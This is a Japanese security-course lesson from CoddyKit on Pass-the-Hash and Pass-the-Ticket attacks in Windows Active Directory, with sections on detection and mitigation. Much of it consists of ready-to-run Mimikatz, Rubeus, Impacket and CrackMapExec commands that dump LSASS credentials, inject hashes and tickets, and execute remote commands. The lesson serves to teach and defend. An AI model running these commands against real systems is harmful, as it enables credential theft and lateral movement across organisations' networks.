Pass-the-HashとPass-the-Ticket攻撃
平文パスワードを知らなくても、認証情報のハッシュとKerberosチケットを使って横方向に移動します。
「Pass-the-HashとPass-the-Ticket攻撃」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
これらの攻撃が存在する理由
Windowsの認証プロトコルは、認証に必要な秘密情報(NTLMハッシュやKerberosチケット)をメモリに保存します。攻撃者はSYSTEM権限を取得すると、これらの秘密情報を抽出して再利用し、パスワードを知らずに別のユーザーとして認証できます。
MimikatzによるNTLMハッシュの抽出
Mimikatzは、Windowsで広く使われている認証情報抽出ツールです。SYSTEMまたはAdministratorとして実行すると、LSASSプロセスのメモリを読み取り、NTLMハッシュや平文の認証情報を抽出します。
# Run mimikatz as Admin:
mimikatz.exe
# Enable debug privilege
privilege::debug
# Dump LSASS credentials
sekurlsa::logonpasswords
# Dump local SAM hashes
lsadump::samMimikatzによるPass-the-Hash(PtH)
PtHは、平文のパスワードを知らなくても、NTLMハッシュを新しいセッションに注入します。そのハッシュによってNTLMを使用してリモートサービスに認証できるため、他のWindowsホストへのラテラルムーブメントに有効です。
# Pass-the-Hash with Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP \
/ntlm:aad3b435b51404eeaad3b435b51404ee \
/run:cmd.exe
# Opens cmd.exe authenticated as that userImpacketによるPass-the-Hash
Impacketには、PtH用のPythonツールが用意されています。psexec.py、smbexec.py、wmiexec.pyは、NTLMハッシュを直接受け取り、リモートでコマンドを実行します。
# psexec with hash (Linux → Windows)
psexec.py CORP/Administrator@192.168.1.100 \
-hashes aad3b435...:8846f7eaee8fb117...
# wmiexec
wmiexec.py CORP/Admin@192.168.1.100 \
-hashes :8846f7eaee8fb117ad06bdd830b7586cKerberosチケットの抽出
KerberosチケットもLSASSのメモリに保存されます。Mimikatzで抽出でき、RubeusはWindows上でKerberosチケットを操作するための専用ツールです。
# Mimikatz: export all tickets
sekurlsa::tickets /export
# Rubeus: list tickets
Rubeus.exe triage
# Rubeus: dump specific ticket
Rubeus.exe dump /luid:0x3e7 /service:krbtgtPass-the-Ticket(PtT)
PtTは、盗み出したKerberosチケットを現在のセッションに注入します。そのチケットによって、ハッシュやパスワードを使わずに、チケットの本来の所有者としてサービスに認証できます。
# Mimikatz: inject ticket
kerberos::ptt ticket.kirbi
# Rubeus: inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# Verify injection
klistLSASSのリモートダンプ
足がかりを確保したら、CrackMapExecまたはImpacketのsecretsdumpを使ってLSASSをリモートでダンプできます。対象で対話型セッションを確立する必要はありません。
# CrackMapExec
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --sam
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --lsa
# Impacket secretsdump
secretsdump.py CORP/Admin:Password123@192.168.1.100ラテラルムーブメントの経路
ハッシュやチケットを取得した後は、ラテラルムーブメントを行います。ローカル管理者の使い回しを利用して他のマシンへPtHを実行し、ドメインサービスへのアクセスにPtTを使用し、特権アカウントを狙ってドメイン管理者へと権限を昇格させます。
PtHとPtTの検知
防御側は、次の手掛かりからPtHを検知します。イベントID 4624(ログオン)でログオンタイプが3であり、対応する対話型ログオンが存在しないこと、NTLM認証の異常、メモリ上またはディスク上にあるMimikatzの特徴です。
# Detection event IDs:
# 4624: Logon (look for type 3 = network)
# 4776: NTLM auth (watch for unexpected hosts)
# 4769: Service ticket request (Kerberos)
# 4648: Explicit credential use緩和策
主な緩和策は、Credential Guardを有効にして仮想化によってLSASSを保護すること、LAPSを使ってマシン間でのローカル管理者アカウントの使い回しを制限すること、特権アカウントにProtected Usersグループを適用すること、可能な限りNTLMを無効化することです。
Overpass-the-Hash
Overpass-the-Hashは、NTLMハッシュをKerberos TGTに変換します。NTLMがブロックされていてKerberosが利用できる環境や、以降のKerberos攻撃にTGTが必要な場合に役立ちます。
# Mimikatz: overpass-the-hash
sekurlsa::pth /user:Admin /domain:CORP \
/ntlm:8846f7eaee8fb117ad06bdd830b7586c \
/run:powershell.exe
# Then in new session:
Rubeus.exe asktgt /user:Admin /rc4:8846f7ea...クイックチェック
仮想化を使用してLSASSの認証情報ストレージを保護するWindowsのセキュリティ機能は何ですか?
まとめ:PtHとPtT
Pass-the-HashとPass-the-Ticketは、Active Directoryにおけるラテラルムーブメントの中核です。どちらも、LSASSにおけるWindowsの認証情報キャッシュを悪用します。MimikatzとImpacketによって、認証情報の抽出と再利用は容易になります。Credential Guard、LAPS、Protected Usersグループを使用し、NTLMとKerberosの認証イベントを厳格に監視して防御します。
AI チューターと学ぶ Cyber Security Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 76
- レッスン
- 303
よくある質問
「Pass-the-HashとPass-the-Ticket攻撃」レッスンは無料ですか?
はい。「Pass-the-HashとPass-the-Ticket攻撃」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「Pass-the-HashとPass-the-Ticket攻撃」で何を学びますか?
平文パスワードを知らなくても、認証情報のハッシュとKerberosチケットを使って横方向に移動します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。
「Pass-the-HashとPass-the-Ticket攻撃」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Windows認証:NTLMとKerberos
- Pass-the-HashとPass-the-Ticket攻撃
- KerberoastingとAS-REP Roasting
- Active Directoryの強化